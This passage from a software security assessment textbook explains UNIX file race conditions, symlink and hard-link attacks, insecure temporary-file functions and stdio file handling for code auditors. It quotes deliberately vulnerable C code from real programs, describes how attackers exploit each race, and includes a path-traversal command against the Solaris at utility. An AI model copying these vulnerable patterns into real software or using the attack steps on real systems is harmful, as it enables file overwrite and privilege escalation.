#ifdef notdef 

      || statb.st_mode & 077 

#endif 

      ) 

       goto out; 

 

    if ((fd = open(file, O_RDWR|O_SYNC, 0)) < 0) 

       goto out; 

 

This code uses lstat() to check whether the file is a symbolic link. If it isn't, the 

program knows it's safe to open the file. However, what happens if attackers replace 

the file with a symbolic link after the lstat() call but before the open() call? It causes 

a TOCTOU situation. The potential attack is shown in Figure 9-8. In this vulnerability, 

attackers are able to overwrite arbitrary files as root when the kerberized login 

daemon creates new tickets. (Note that this code is also vulnerable to a hard link 

attack because it doesn't check the link count lstat() returns.) 

Figure 9-8. Program flow for Listing 9-4 
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Note that it's possible to have a race condition if you do things in the opposite order, 

with the check coming after the use, as shown in Listing 9-5. 

Listing 9-5. Race Condition in open() and lstat() 

    fd = open(fname, O_RDONLY); 

    if (fd==-1) 

        perror("open"); 

 

    if (lstat(fname, &stb1) != 0) 

        die("file not there"); 

 

    if (!S_ISREG(stbl.st_mode)) 

        die("its a symlink"); 

... 

 

It might seem as though this program isn't susceptible to a race condition because it 

opens the file first, and then checks whether it's valid. However, it suffers from a 

similar problem. Attackers can create the malicious symbolic link the program opens, 

and then delete or rename that symbolic link and create a normal file with the same 

name. If they get the timing right, lstat() operates on the normal file, and the 

security check is passed. The kernel doesn't care if the file that fd indexes has been 
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deleted or renamed. As long as the file descriptor is kept open, the file and its 

corresponding inode in the file system stay available. This process is shown in Figure 

9-9. 

Figure 9-9. Program flow for Listing 9-5 

 

 

Here's another example of a race condition from an old version of the SunOS binmail 

program, discovered by a rather clever hacker group known as "8 Little Green Men," 

or 8lgm for short. Binmail runs as root and is used to deliver mail to local users on the 

system. This local mail delivery is performed by opening the user's mail spool file in a 

public sticky directory and appending the new mail to that file. The following code is 

used to open the mail spool file: 

if (!(created = lstat(path, &sb)) && 

    (sb.st_nlink != 1 || S_ISLNK(sb.st_mode))) { 

    err(NOTFATAL, "%s: linked file", path); 

    return(1); 

} 

if ((mbfd = open(path, O_APPEND|O_WRONLY|O_EXLOCK, 

    S_IRUSR|S_IWUSR)) < 0) { 

    if ((mbfd = open(path, O_APPEND|O_CREAT|O_WRONLY|O_EXLOCK, 

        S_IRUSR|S_IWUSR)) < 0) { 
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        err(NOTFATAL, "%s: %s", path, strerror(errno)); 

        return(1); 

    } 

} 

 

This program first checks to see whether the mail spool is a symbolic link or a hard 

link by performing an lstat(). If the file doesn't exist or looks like a normal file, 

binmail attempts to open the file for appending. If the open fails, binmail attempts to 

open the file again, but it tells the OS to create the file if it doesn't exist. The problem 

is the race condition between the lstat() call and the open() call. Attackers can place 

an innocuous file there or delete the mail spool, wait for the lstat() to occur, and 

then place a symbolic link or hard link pointing to a sensitive file. The mail sent to that 

user is appended to the sensitive file, if it exists; if it doesn't, it's created as root and 

written to. Furthermore, a symbolic link pointing to a target file that isn't present can 

be used to have binmail create an arbitrary file as root. (This bug is documented in a 

bugtraq post by 8lgm, archived at http://seclists.org/bugtraq/1994/Mar/0025.html.) 

File Race Redux 

Most file system race conditions can be traced back to using system calls that work 

with pathnames. As discussed, every time a system call takes a pathname argument, 

the kernel resolves that pathname to an inode by traversing through the relevant 

directory entries. So if you have this code: 

stat("/tmp/bob", &sb); 

stat("/tmp/bob", &sb); 

 

The first call to stat() causes the kernel to look up the inode for the /tmp/bob 

pathname, open that inode, and collect the relevant information. The second time 

stat() is called, the same thing happens all over again. If someone changes /, /tmp, 

or /tmp/bob between the two stat() calls, the system could easily end up looking at 

two different files. Now take a look at this code: 

fd=open("/tmp/bob", O_RDWR); 

fstat(fd, &sb); 

fstat(fd, &sb); 

 

The call to open() resolves the /tmp/bob pathname to an inode. It then loads this inode 

into kernel memory, creates the required data structures to track an open file, and 

places a pointer to them in the process's file descriptor table. The call to fstat() 

simply takes the file descriptor index fd, looks in the table and pulls out the pointer, 

http://seclists.org/bugtraq/1994/Mar/0025.html
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and ends up looking directly at the data structure encapsulating the inode. The 

second fstat() does the same thing as the first one. 

If someone unlinked /tmp/bob in the middle of the fstat() calls, it wouldn't matter 

because the file descriptor would still reference the inode on the disk that was 

/tmp/bob when open() was called. That inode isn't deallocated until its reference count 

goes away, which doesn't happen until the process uses close(fd). Renaming and 

moving the file doesn't change the target of fstat(), either. The permissions are 

established by how the file is opened and the security checks occurring at the time it's 

opened, so even if the file is marked with permission bits 0000, it doesn't matter to 

the process after it has successfully opened the file for reading. 

Pathnames Versus File Descriptors 

The basic difference between pathnames and file descriptors is in how they're used by 

functions. Functions that take pathnames are looking up which file to work with each 

time they're called. Functions that work with file descriptors are going straight to the 

same inode that was opened initially. Any time you see multiple system calls that use 

a file path, it's worth considering what would happen if the file was changed in 

between those calls. Remember that changing any directory component between the 

starting directory and the target file can potentially disrupt a process's intended file 

actions. 

In general, if you see anything besides a single filename-based system call to open a 

resource followed by multiple file-descriptor-based calls, there's a reasonable chance 

of a race condition occurring. 

Evading File Access Checks 

One basic pattern to look for is a security check function that uses a filename followed 

by a usage function that uses a filename. The basic vulnerability pattern is the file 

being checked using something like stat(), lstat(), or access(), and, providing that 

the check succeeds using something like open(), fopen(), chmod(), chgrp(), chown(), 

unlink(), rename(), link(), or symlink(). 

In general, the safe form of a security check involves checks and usage on a file 

descriptor. It's guaranteed that a file descriptor, after the kernel creates it, refers to 

the same file system object for the duration of its lifetime. Therefore, functions that 

work with a file descriptor can often be used in a safe fashion when their filename 

counterparts can't. For example, fstat(), fchmod(), and fchown() can be used to 

query or modify a file that has already been opened safely, but the corresponding 

stat(), chmod(), and chown() functions might be susceptible to race conditions if the 

file is tampered with right after it has been opened. 

Permission Races 
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Sometimes an application will temporarily expose a file to potential modification for a 

short window of time by creating it with insufficient permissions. If attackers can open 

that file during this window, they get an open file handle to the file that locks in the 

insufficient permissions, and lets them retain access to the file after the permissions 

have been corrected, as shown in this example: 

FILE *fp; 

int fd; 

 

if (!(fp=fopen(myfile, "w+"))) 

    die("fopen"); 

 

/* we'll use fchmod() to prevent a race condition */ 

fd=fileno(fp); 

/* lets modify the permissions */ 

if (fchmod(fd, 0600)==-1) 

    die("fchmod"); 

 

This code excerpt opens a file for reading and writing by using the fopen() function. If 

the file doesn't already exist, it's created by the call to fopen(), and the umask value 

of the process determines its initial file permissions. This will be discussed in more 

detail in "The Stdio File Interface(? [????.])," but the important detail that need to 

know for now is that fopen() calls open() with a permission argument of octal 0666. 

Therefore, if the process's umask doesn't take away world write permissions, any 

user on the file system is able to write to the file. The program immediately changes 

its file to mode 0600, but it's too latea race condition has already occurred. If another 

process can use open() on the file requesting read and write access, immediately after 

it's created but before its permission bits are changed, that process has a file 

descriptor open to the file with read and write permissions. 

Ownership Races 

If a file is created with the effective privileges of a nonprivileged user, and the file 

owner is later changed to that of a privileged user, a potential race condition exists, as 

shown in this example: 

drop_privs(); 

 

if ((fd=open(myfile, O_RDWR | O_CREAT | O_EXCL, 0600))<0) 

    die("open"); 

 

regain_privs(); 

 

/* take ownership of the file */ 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 554 

if (fchown(fd, geteuid(), getegid())==-1) 

    die("fchown"); 

 

This code is similar to the permission race code you examined previously. A privileged 

application temporarily drops its privileges to create a file safely. After the file is 

created, it wants to set file ownership to root. To do this, the program regains its root 

privileges and then changes the file's ownership with the fchown() system call. The 

vulnerability is that if unprivileged users manage to open the file between the call to 

open() and the call to fchown(), they get a file descriptor with a file access mask 

permitting read and write access to the file. 

Directory Races 

Programs that traverse through directories in the file system have to be careful about 

trusting the integrity of the directory hierarchy. If a program descends into 

user-controllable directories, users can often move directories around in devious 

ways from under the program and cause it to operate on sensitive files inadvertently. 

Caveats 

If a program attempts to recurse through directories, it needs to account for infinitely 

recursive symbolic links. The kernel notices infinite symbolic links as it resolves a 

pathname, and it returns an error in the case of too much recursion. If a program 

attempts to traverse a path itself, it might need to replicate the logic the kernel uses 

to avoid ending up in an infinite loop. 

Another possible point of confusion that you need to be aware of is that symbolically 

linked directories are not reflected in pathnames returned by system calls that 

retrieve a current path. If you're using a command shell and issue cd to change to a 

directory that's a symbolic link, typing pwd reflects that symbolic link. However, from 

the kernel's perspective, you're in the actual target directory, and any system call to 

return your current path doesn't include the symbolic link. If a symbolic link named 

/bob points to the /tmp/bobshouse directory, and you change your current directory to 

/bob, the getcwd() function reports your current directory to you as /tmp/bobshouse, 

not /bob. 

Directory Symlinks for Exploiting unlink() 

It's important to consider the effects of malicious users manipulating directories that 

are one or two levels higher than a process's working space. Wojciech Purczynski 

discovered a vulnerability in the Solaris implementation of the UNIX job-scheduling at 

command. The -r argument to at tells the program to delete a particular job ID. 

According to Wojciech, at had roughly the following logic: 
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logic for /usr/bin/at -r JOBNAME 

 

/* chdir into at spool directory */ 

chdir("/var/spool/cron/atjobs") 

 

/* check to make sure that the file is owned by the user */ 

stat64(JOBNAME, &statbuf) 

if (statbuf.st_uid != getuid()) 

   exit(1); 

/* unlink the file */ 

unlink("JOBNAME") 

 

The at command changes to the atjobs spool directory, and if users own the file 

corresponding to the job they specify, the job file is deleted. The first vulnerability in 

at is that the job name can contain ../ path components. So attackers could use the 

following command: 

at -r ../../../../../../tmp/somefile 

 

The at command would delete /tmp/somefile, but only if somefile is owned by the 

user. So you can use it to delete files you own, which isn't all that interesting. 

However, there's a race condition between the call to stat() and the call to unlink() 

in the code. 

Keep in mind that unlink() doesn't follow symbolic links on the last directory 

component. So if you use the normal attack of putting a normal file for stat() to see, 

deleting it, and placing a symlink to the sensitive file, the unlink() call would just 

delete the symbolic link and not care what it pointed to. The trick to exploiting this 

code is to remember that unlink() follows symbolic links in directory components 

other than the last component. This attack is shown in Figure 9-10. 

Figure 9-10. Attacking the Solaris at command 
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First, attackers create a /tmp/bob directory, and in that directory create a normal file 

called shadow. The attackers let at run and perform the stat() check on the 

/tmp/bob/shadow file. The stat() check succeeds because it sees a normal file owned 

by the correct user. Then attackers delete the /tmp/bob/shadow file and the /tmp/bob 

directory. Next, they create a symbolic link so that /tmp/bob points to /etc. The at 

command proceeds to unlink /tmp/bob/shadow, which ends up unlinking /etc/shadow 

and potentially bringing down the machine. 

Moving Directories Underneath a Program 

Wojciech Purczynski also discovered an interesting vulnerability in the GNU file 

utils package. The code is a bit complicated, so the easiest way to show the issue is 

show the program's behavior at a system call trace level. The following code is based 

on his advisory (archived at http://seclists.org/bugtraq/2002/Mar/0160.html): 

Example of 'rm -fr /tmp/a' removing '/tmp/a/b/c' directory tree: 

 

(strace output simplified for better readability) 

 

chdir("/tmp/a")                         = 0 

http://seclists.org/bugtraq/2002/Mar/0160.html


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 557 

chdir("b")                              = 0 

chdir("c")                              = 0 

chdir("..")                             = 0 

rmdir("c")                              = 0 

chdir("..")                             = 0 

rmdir("b")                              = 0 

fchdir(3)                               = 0 

rmdir("/tmp/a")                         = 0 

 

If you have a directory tree of /tmp/a/b/c, and you tell rm to recursively delete /tmp/a, 

it basically recurses into the deepest directory /tmp/a/b/c, and then uses chdir("..") 

and removes c. The rm program then uses chdir("..") to back up one more directory 

and delete b. Next, it uses fchdir() to go back to the original starting directory and 

delete /tmp/a. 

Wojciech's attack is quite clever. Say you let the program get all the way into the c 

directory, so it has a current working directory of /tmp/a/b/c. You can modify the 

directory structure before rm uses chdir(".."). If you move the c directory so that it's 

underneath /tmp, the rm program is suddenly in the /tmp/c directory instead of 

/tmp/a/b/c. From this point, it recurses upward too far and starts recursively 

removing every file on the system. 

Note 

Nick Cleaton discovered similar race conditions in the fts library (documented at 

http://security.freebsd.org/advisories/FreeBSD-SA-01:40.fts.asc), which is used to 

traverse through file systems on BSD UNIX derivatives. He's quite clever, too, even 

though he's not Polish. 

7.5.9 Temporary Files 

Applications often make use of temporary files to store data that is in some 

intermediate format, or to channel data between related processes. This practice has 

proved dangerous, however; innumerable local UNIX security vulnerabilities are 

related to temporary file use. Public temporary directories can be an extremely hostile 

environment for programs attempting to make use of them. 

On most UNIX systems, there's a public temporary directory in /tmp and one in 

/var/tmp. Programs are free to create files in those directories for the purpose of 

temporary storage. The temporary directories are marked as sticky directories, which 

means only the file owner can delete or rename that file. These directories are usually 

mode octal 1777, granting everyone full read, write, and search permissions. 

http://security.freebsd.org/advisories/FreeBSD-SA-01:40.fts.asc
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Programs typically use temporary directories in two ways. Most programs want to 

create a new, unique temporary file they can use once and then discard. Some 

programs, however, want to open an existing temporary file, which they expect to 

have been created by a related program in the past. The following sections describe 

issues in both uses of temporary directories. 

Unique File Creation 

Many applications want to create a unique temporary file, use it, and then delete it or 

hand it off to another program. In general, you should check for all the file creation 

issues outlined earlier and the creation-related issues with symbolic links and race 

conditions. Several library calls, described in the following sections, are designed to 

assist in obtaining these unique temporary files. Unfortunately, the majority of them 

are fairly broken, as you will see. 

The mktemp() Function 

The mktemp() function takes a template for a filename and fills it out so that it 

represents a unique, unused filename. The template the user provides has XXX 

characters as placeholders for random data. However, that data is fairly easy to 

predict because it's based on the process ID of the program that calls mktemp() plus a 

simple static pattern. Here's some code that uses mktemp(): 

char temp[1024]; 

int fd; 

 

strcpy(temp, "/tmp/tmpXXXX"); 

if (!mktemp(temp)) 

    die("mktemp"); 

 

fd=open(temp, O_CREAT | O_RDWR, 0700); 

if (fd<0) 

{ 

    perror("open"); 

    exit(1); 

} 

... 

 

The problem with this code, and the problem with all nearly uses of mktemp(), is a race 

condition between when the file is verified as unique and when the file is opened. If 

attackers can create a symbolic link after the call to mktemp() but before the call to 

open(), the program opens that symbolic link, potentially creating a file wherever it 

points, and starts writing to it. If the program is running with sufficient privileges, it 
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could be coerced into overwriting sensitive system files with data that could lead to an 

exploitable situation. 

Here's a real-world example of a vulnerability resulting from the use of mktemp(). 

Michael Zalewski observed that the GNU C Compiler (GCC) uses temporary files 

during its compilation process. The following slightly edited code is from a vulnerable 

version of gcc: 

#define TEMP_FILE "ccXXXXXX" 

 

char * 

choose_temp_base () 

{ 

  char *base = 0; 

  char *temp_filename; 

  int len; 

  static char tmp[] = { DIR_SEPARATOR, 't', 'm', 'p', 0 }; 

  static char usrtmp[] = { DIR_SEPARATOR, 'u', 's', 'r', 

      DIR_SEPARATOR, 't', 'm', 'p', 0 }; 

 

  base = try (getenv ("TMPDIR"), base); 

  base = try (getenv ("TMP"), base); 

  base = try (getenv ("TEMP"), base); 

 

  /* Try /usr/tmp, then /tmp. */ 

  base = try (usrtmp, base); 

  base = try (tmp, base); 

 

  /* If all else fails, use the current directory! */ 

  if (base == 0) 

    base = "."; 

 

  len = strlen (base); 

  temp_filename = xmalloc (len + 1 /*DIR_SEPARATOR*/ 

               + strlen (TEMP_FILE) + 1); 

  strcpy (temp_filename, base); 

 

  if (len != 0 

      && temp_filename[len-1] != '/' 

      && temp_filename[len-1] != DIR_SEPARATOR) 

    temp_filename[len++] = DIR_SEPARATOR; 

  strcpy (temp_filename + len, TEMP_FILE); 

 

  mktemp (temp_filename); 

  if (strlen (temp_filename) == 0) 
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    abort (); 

  return temp_filename; 

} 

 

As you can see, gcc uses mktemp() to create temporary files in a public temporary 

directory. When you compile a program, gcc first creates an intermediate file in 

/tmp/ccXXXXXX.i. The X characters are filled in by mktemp(). When gcc goes to create 

other files, such as the assembly file (.s) and the object file (.o), it reuses that same 

ccXXXXXX base that was used for the intermediate file. Attackers can simply watch 

/tmp and look for .i files. As soon as they find one, they can create links to other files 

with the name gcc attempts to use for other temporary compilation files, and then gcc 

overwrites the linked files with the contents of the intermediate compilation file. If 

attackers wait for root to compile something, they can obtain root privileges by 

tricking root into overwriting a sensitive file. 

Note 

mktemp() almost always indicates a potential race condition because the unique 

filename it returns can often be predicted and taken before it's actually used by an 

application. 

 

 

The tmpnam() and tempnam() Functions 

The tmpnam() and tempnam() functions are similar to mktemp(), in that they're used to 

return the name of a temporary file available for use. tmpnam() looks for files in the 

system temporary directory, and tempnam() lets users specify the directory and file 

prefix to use for creating a temporary filename. Both functions have the same race 

condition issues as mktemp(), so you can consider them similar in terms of security. 

Here's a real-world example from xpdf-0.90, which contains a vulnerable use of 

tmpnam(): 

  tmpnam(tmpFileName); 

  if (!(f = fopen(tmpFileName, "wb"))) { 

error(-1, "Couldn't open temporary Type 1 font file '%s'", 

      tmpFileName); 

return -1; 

  } 
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If attackers create a symbolic link to a sensitive file after the call to tmpnam() but 

before the call to fopen(), xpdf creates or opens that file with the privileges of the user 

running xpdf. 

In addition, Eric Raymond's cstrings utility was vulnerable to a race condition 

involving the use of tempnam() (documented at 

www.securityfocus.com/bid/9391/info): 

    if (argv[optind][0] != '/') 

        (void) getcwd(buf, BUFSIZ); 

    else 

        buf[0] = '\0'; 

    (void) strcat(buf, argv[optind]); 

    if (cp = strrchr(buf, '/')) 

        *cp = '\0'; 

    if ((tf = tempnam(buf, "cstr")) == (char *)NULL) 

    { 

        perror("cstrings, making tempfile"); 

        exit(1); 

    } 

 

    if ((ofp = fopen(tf, "w")) == (FILE *)NULL) 

    { 

        perror("cstrings, making output file"); 

        exit(1); 

    } 

 

Again, if attackers create a symbolic link to a sensitive file after the call to tempnam() 

but before the call to fopen(), the process opens the symbolic link target as the user 

running cstrings and writes font information to it. 

The mkstemp() Function 

The library function mkstemp() is much safer than mktemp(), assuming it's used 

correctly. It finds a unique filename, like mktemp(), but then proceeds to create the file 

and return a file descriptor to the program that has read and write access to the file. 

It does all this in a safe fashion. However, it is still possible for a developer to misuse 

mkstemp() in other ways, as shown in Listing 9-6. 

Listing 9-6. Reopening a Temporary File 

char g_mytempfile[1024]; 

 

void init_prog(void) 

http://www.securityfocus.com/bid/9391/info
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{ 

    int fd; 

 

    strcpy(g_mytempfile, "/tmp/tmpXXXXXX"); 

    fd = mkstemp(g_mytempfile); 

    if (fd==-1) 

        die("mkstemp"); 

 

    initialize_tmpfile(fd); 

    close(fd); 

} 

 

void main_loop(void) 

{ 

    FILE *fp; 

... 

    /* open temporary file */ 

    if ((fp=fopen(g_mytempfile,"rw"))==NULL) 

        die("fopen"); 

... 

 

You might see this code if a programmer tries to fix a program using mktemp() so that 

it uses mkstemp() instead. The init_prog() function creates a temporary file and 

initializes it to contain a default set of contents. The path to this temporary file is 

stored in g_mytempfile. Later in the application, the temporary file is reopened for 

further processing. The problem is that, although the initial creation of the temporary 

file was done safely, it's reopened later in an unsafe fashion. Malicious users might be 

able to manipulate that temporary file if they have sufficient permissions in the 

directory. If they could delete or rename the file and replace it with a symbolic link to 

a sensitive file, the program could potentially manipulate that sensitive file in an 

exploitable way. If users didn't have permissions for that kind of manipulation, they 

might still be able to place the process in a suspended state long enough that the 

temporary directory would be cleaned out by an administrative daemon. They could 

then re-create the file so that it points to a sensitive system file. 

Keep in mind that some System V UNIX implementations might honor the umask 

when creating a temporary file with mkstemp(), so it's a good idea for programs to set 

it properly beforehand. 

The tmpfile() and mkdtemp() Functions 

The tmpfile() function is similar to mkstemp(); its purpose is to create a unique file in 

the system's temporary directory and return a stream pointer to the file. This function 
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is generally implemented in a safe, atomic fashion, often using mkstemp(). According 

to Casper Dik, Solaris versions before 2.6 have a tmpfile() function that's vulnerable 

to race conditions, and IRIX and AIX are probably also vulnerable. 

mkdtemp() is used to create a unique directory. It takes a template similar to mkstemp() 

and creates a directory with mode 0700. This directory is then a safe place in which 

the program can operate. 

The O_CREAT | O_EXCL Flags 

Say that attackers can predict the filename an application uses, or the application 

uses a predetermined filename such as /tmp/.ps_data. In general, unless an 

application does something like the following, it's probably vulnerable to an attack: 

    fd = open(filename, O_RDWR | O_CREAT | O_EXCL, FMODE); 

    if (fd < 0) 

        abort(); 

 

The call to open() specifies the O_CREAT | O_EXCL flag, which means the file is created 

only if a file with the same name does not already exist. If a file exists with that name, 

the open() call returns an error, which the application should expect in case of attack. 

Using O_CREAT | O_EXCL also means that if the last path component of the filename is 

a symbolic link, the kernel won't follow it. These flags make sure the file is created 

safely, as long as the application is ready for open() to return a failure condition in 

case of any funny business. 

File Reuse 

So far, you've focused on the creation of temporary files that are unique and don't 

already exist on the file system. Applications also might have a requirement to open 

temporary files that already exist in a temporary directory. These files might have a 

known, fixed filename, or they might have a unique filename that's explicitly passed 

along to program components that need to open the file. Programs might use these 

files to share information as a simple form of IPC or to cache processing results for 

use by a subsequent execution of a program. 

Opening these files safely is difficult. First, you want to make sure you aren't opening 

a symbolic link or hard link to a sensitive file. If you try to use lstat() to determine 

whether the file is a symbolic link, you introduce a race condition before the call to 

open(). If you call open() and then fstat() on the file, you end up following symbolic 

links unless your open() call supports the nonstandard Linux O_NOFOLLOW flag (and 

even then, O_NOFOLLOW only ensures that the last component of the pathname isn't a 

symbolic link). 
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If you try to prevent a hard link attack, you can run into trouble. If you use lstat() 

and then check the link count, you introduce a race condition before the call to open(). 

If you open the file first and then use fstat() to check the link count, you're again 

exposed to symbolic link attacks. If attackers can delete the link they made you open, 

the result of the fstat() might indicate a link count of one, even though you opened 

a sensitive file. 

Cryogenic Sleep Attacks 

Olaf Kirch, a well known security researcher, published an interesting vulnerability 

related to reusing temporary files. The following code, which is slightly modified from 

Olaf's Bugtraq post (available at http://seclists.org/bugtraq/2000/Jan/0016.html), 

represents an idiom for a safe way to open a persistent temporary file: 

    if (lstat(fname, &stb1) >= 0) 

    { 

        if (!S_ISREG(stb1.st_mode) || 

            (stb1.st_nlink>1)) 

            raise_big_stink(); 

 

        fd = open(fname, O_RDWR); 

        if (fd < 0 || fstat(fd, &stb2) < 0) 

            raise_big_stink(); 

        if (stb1.st_ino  != stb2.st_ino  || 

            stb1.st_dev  != stb2.st_dev  || 

            stb2.st_nlink>1) 

            raise_big_stink(); 

    } 

    else 

    { 

        fd = open(fname, O_RDWR | O_CREAT | O_EXCL, FMODE); 

        if (fd < 0) 

            raise_big_stink(); 

    } 

 

This code represents a reasonably safe idiom for opening a potentially existing file in 

a public directory. The code first checks the file with lstat() and stores the results in 

the stat buffer structure stb1. If the lstat() fails, indicating that the file doesn't exist, 

the code attempts to create the file by using open() with the O_CREAT | O_EXCL flags. 

This open() doesn't follow symbolic links in the last path component, and it succeeds 

only if it's successful in creating the file. 

So if the file doesn't exist, the open() call attempts to create it in a safe fashion. If the 

file does exist, it's first analyzed with lstat() to make sure it's not a symbolic link or 

http://seclists.org/bugtraq/2000/Jan/0016.html
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hard link. Naturally, attackers could delete or rename the file and replace it with 

another file, device file, hard link, or symbolic link immediately after the lstat() 

security check. So the program opens the file and uses fstat(), and then uses the 

inode and device numbers from the fstat() and lstat() calls to check that the 

pathname hasn't been manipulated in the time that has elapsed since the program 

first called lstat(). If the pathname hasn't been tampered with, lstat() and fstat() 

should both indicate that the file has the same device and inode numbers. Note that 

the call to open() in the first block uses the O_RDWR flag, but not O_CREAT, ensuring that 

it doesn't create a file accidentally. 

This solution seems fairly robust, assuming the application can deal with the file open 

failing if tampering is detected. Kirch observed that in some situations, the inode and 

device check might be circumvented. Say that attackers create a regular file in the 

temporary directory with the filename the program is expecting. This program would 

call lstat() on the regular file and learn that it existed and wasn't a symbolic link. Say 

attackers then manage to send a job control signal, such as a SIGSTOP, to the 

application immediately after the lstat() but before the call to open(). This would be 

possible if the program is a setuid root program users had started in their terminal 

session. 

At this point, attackers would make note of the inode and device of the temporary file 

they created. They would then delete that file and wait for a sensitive file to be 

created with the same inode and device number. They could simply wait for 

something to happen, or they could call other privileged programs in ways designed 

to get them to create sensitive files. 

As soon as a sensitive file is created with an inode and device number equal to that of 

the original file, attackers would create a symbolic link to that file and resume the 

program. The program would perform the open() call, which would follow the 

symbolic link and open the sensitive file. However, when it analyzes the file, it would 

find that the inode and device numbers hadn't changed, so it wouldn't suspect 

anything odd was afoot. 

Temporary Directory Cleaners 

Michael Zalewski described an interesting class of attacks that can undermine the 

security of mkstemp() in certain environments (available at 

www.bindview.com/Services/Razor/Papers/2002/mkstemp.cfm). Many UNIX 

systems have a daemon that runs periodically to clean out public temporary 

directories, such as /tmp and /var/tmp. The program Zalewski analyzed, tmpwatch, is 

a popular program that performs this task. It goes through each file in the temporary 

directory and uses lstat() to determine the age of the file. If the file is old enough, 

the cleaning daemon uses unlink() on the file to delete it. 

http://www.bindview.com/Services/Razor/Papers/2002/mkstemp.cfm
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Say you have a program that creates a temporary file securely by using mkstemp(), 

but later it uses the file in a potentially unsafe fashion by reopening the file or 

performing operations such as chmod() and chown() that work with filenames rather 

than file descriptors. If the temporary file is created properly, with the correct umask, 

ownership, and permissions, usually this isn't a problem in a sticky directory, as only 

the file's owner is able to rename or unlink the file. You've already looked at a code 

snippet with these characteristics in Listing 9-6. 

If you could get a temporary file to be unlinked after it was created but before an 

application used it again, you could potentially create an exploitable condition. 

Zalewski outlined two attacks that could do just this. The simplest attack is to start a 

privileged setuid program, let it create its temporary file, and then suspend the 

program with a SIGSTOP signal. Then simply wait the requisite number of days for the 

cleaning daemon to decide that the temporary file is old enough to be purged. After 

the daemon purges the file, create a symbolic link in its place and resume the 

privileged program. 

Zalewski outlined a more complex attack that requires considerably more delicate 

timing. The cleaning daemons are implemented so that there's a race condition 

between lstat() and unlink(). If you let the cleaner daemon use lstat() on a file and 

decide to unlink it, you could unlink it preemptively out from under the daemon. If 

another application creates a file with that name right before the cleaning daemon 

uses unlink(), that program's file would be deleted right out from under it. 

7.5.10 The Stdio File Interface 

The UNIX kernel provides an interface for manipulating files based on file descriptors. 

The C stdio system provides a slightly richer interface for file interaction, which is 

based on the FILE structure. It's implemented as an abstraction layer on top of the 

kernel's file descriptor interface. UNIX application code commonly uses stdio in lieu of 

the lower-level system call API because it automatically implements buffering and a 

few convenience functions for data formatting. The extra layer of abstraction doesn't 

change the basic problems discussed so far, but it adds a few scenarios in which 

vulnerabilities can be introduced. 

A number of functions are provided to manipulate files by using these structures and 

to convert between file structures and file descriptors. A typical FILE structure 

contains a pointer to buffered file data (if it's a buffered stream), the file descriptor, 

and flags related to how the stream is opened. The glibc FILE structure is shown in the 

following code (slightly modified for brevity): 

struct _IO_FILE { 

  int _flags;        /* High-order word is _IO_MAGIC; 

                        rest is flags. */ 

#define _IO_file_flags _flags 
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  /* The following pointers correspond to the C++ 

   streambuf protocol. */ 

  /* Note: Tk uses the _IO_read_ptr and 

    _IO_read_end fields directly. */ 

  char* _IO_read_ptr;    /* Current read pointer */ 

  char* _IO_read_end;    /* End of get area. */ 

  char* _IO_read_base;    /* Start of putback+get area. */ 

  char* _IO_write_base;    /* Start of put area. */ 

  char* _IO_write_ptr;    /* Current put pointer. */ 

  char* _IO_write_end;    /* End of put area. */ 

  char* _IO_buf_base;    /* Start of reserve area. */ 

  char* _IO_buf_end;    /* End of reserve area. */ 

  /* The following fields are used to support 

     backing up and undo. */ 

  char *_IO_save_base; /* Pointer to start of 

                          non-current get area. */ 

  char *_IO_backup_base; /* Pointer to first valid 

                            character of backup area */ 

  char *_IO_save_end; /* Pointer to end of non-current 

                         get area. */ 

 

  int _fileno; 

 

  ... 

  _IO_lock_t *_lock; 

}; 

 

These structures can also be used for operating on other resources that can be 

represented by descriptors, such as sockets. 

Opening a File 

The fopen() function is used for opening files. It takes a path argument as well as a 

string indicating the mode for opening the file. The prototype is as follows: 

FILE *fopen(char *path, char *mode); 

 

Programs that use fopen() are subject to the same potential problems as those that 

use open(); the specified path must be validated correctly if it contains user-malleable 

data, and code should be careful not to work in directories where malicious attackers 

have influence. fopen()'s mode argument is a textual representation of what access 

the program needs for the file. The modes are listed in Table 9-6. 
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Table 9-6. File Access Modes for fopen() 

Mode 

String 

Meaning 

r Open the file for read-only access 

r+ Open the file for reading and writing. The file offset pointer is pointing to 

the beginning of the file, so a write to this file causes data already in the file 

to be overwritten. 

w Open the file for writing. If the file already exists, it's truncated to 0 bytes. 

If it doesn't exist, it's created. 

w+ Identical to "r+" except the file is truncated if it exists. Additionally, this 

mode creates a file if it exists, whereas "r+" doesn't. 

a Open in append modethat is, the file is opened for writing. If the file already 

exists, the file offset pointer points to the end of the file so that writing to 

the stream doesn't overwrite data already in the file. If the file doesn't 

exist, it's created. 

a+ Open in append mode for both reading and writing. The file offset points to 

the beginning of the file so that data can be read from it, but when data is 

written, it's appended to the file. If the file doesn't exist, it's created. 

 

Of these six modes, only two don't implicitly create a new file. Therefore, it's very 

easy to accidentally create new files unintentionally with fopen(). Furthermore, 

because fopen() does not explicitly take a permissions bitmask argument, the default 

permissions of octal 0666 are applied (that is, everyone can read and write to the file). 

fopen() always further restricts file permissions based on the umask value of the 

current process. Because this umask value is an inheritable attribute, users can quite 

easily abuse calls to fopen() in a privileged application to create a file that anyone is 

able to write to. Therefore, careful attention should be paid to how fopen() is used in 

a privileged context, especially when it's using modes that result in file creation. Even 

when it's creating a temporary file in a location that attackers can't generally control, 

modifying the umask and then writing malicious data can often result in a 

compromise of the application. 

Note 

Recent glibc fopen() implementations also allow developers to specify an 'x' in the 

mode string parameter. This causes fopen() to specify the O_EXCL flag to open(), 

thus ensuring that a new file is created. 

 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 569 

Two other functions are provided for opening file streams: freopen() for reopening a 

previously opened file stream and fdopen() for creating a FILE structure for a 

preexisting socket descriptor. The freopen() function is vulnerable to the same sort of 

problems related to file creation as fopen() is; however, fdopen() is not because all it 

does is create a FILE structure and associate it with a preexisting file descriptor. 

Reading from a File 

The fread() function can be used to read data from files in a manner similar to the 

way read() works, except it's intended to read a certain number of elements of a 

specific size. The prototype for fread() is as follows: 

int fread(void *buffer, size_t size, size_t count, FILE *fp) 

 

This function reads count elements (each of which is size bytes long) from the file 

pointed to by fp. 

Note 

Notice that fread() takes two parameters, indicating the size of an element and the 

number of elements to be read. Since these parameters will eventually be multiplied 

together, there is the potential for fread() to contain an integer overflow internally 

(glibc has this problem). In certain situations, such an overflow might create an 

opportunity for exploitation. 

 

Because many applications process files containing text data, the fgets() function is 

provided, which is used to read a single line of the input from the file. The function 

